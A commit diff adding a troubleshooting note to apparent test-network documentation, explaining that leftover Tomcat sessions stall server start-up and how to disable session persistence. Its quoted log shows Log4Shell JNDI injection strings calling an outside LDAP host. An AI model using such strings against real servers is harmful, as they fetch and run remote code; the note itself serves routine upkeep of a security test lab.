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BB: Add a note about clearing tomcat sessions

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Mike Salvatore 2022-05-04 10:30:55 -04:00
parent 2f3c08cb77
commit 61793d56cf
1 changed files with 30 additions and 1 deletions
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@ -919,7 +919,36 @@ Accessiable only through <strong>3-45 Powershell</strong> using credentials reus
otherwise the tomcat service can take a very long time to start. Set this by otherwise the tomcat service can take a very long time to start. Set this by
editing `/usr/tomcat/bin/catalina.sh` and modifying the `JAVA_OPTS` vairable. editing `/usr/tomcat/bin/catalina.sh` and modifying the `JAVA_OPTS` vairable.
See https://jfrog.com/knowledge-base/tomcat-takes-forever-to-start-what-can-i-do/ See https://jfrog.com/knowledge-base/tomcat-takes-forever-to-start-what-can-i-do/
for more details.</td> for more details.
Tomcat sessions that carry over through a reset can cause significant delays
when the tomcat server starts. When the server starts, it attempts to download
the log4shell payload, but the server is no longer listening. This operation
appears to have a 2 minute timeout. You can see it by viewing
`/usr/tomcat/logs/localhost.log`:
```
2022-04-28 16:15:45,541 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Sending application start events
2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- ContextListener: contextInitialized()
2022-04-28 16:15:45,542 [localhost-startStop-1] INFO org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- SessionListener: contextInitialized()
2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session E5B004FF35E1CBB44FA8A69AB024941D
2022-04-28 16:15:45,665 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:29573/dn=Exploit}'
2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- readObject() loading session 0677AD75F804B1FD4E24AF7F3BFA9DD9
2022-04-28 16:17:56,412 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- loading attribute 'foo' with value '${jndi:ldap://10.2.2.121:39466/dn=Exploit}'
2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filters
2022-04-28 16:20:07,472 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Set Character Encoding'
2022-04-28 16:20:07,477 [localhost-startStop-1] DEBUG org.apache.catalina.core.ContainerBase.[Catalina].[localhost].[/examples]- Starting filter 'Compression Filter'
```
Notice the 2-minute gap between the timestamps after "loading attribute 'foo'".
To resolve this, modify /usr/tomcat/conf/context.xml and uncomment the following
setting:
```
<Manager pathname="" />
```
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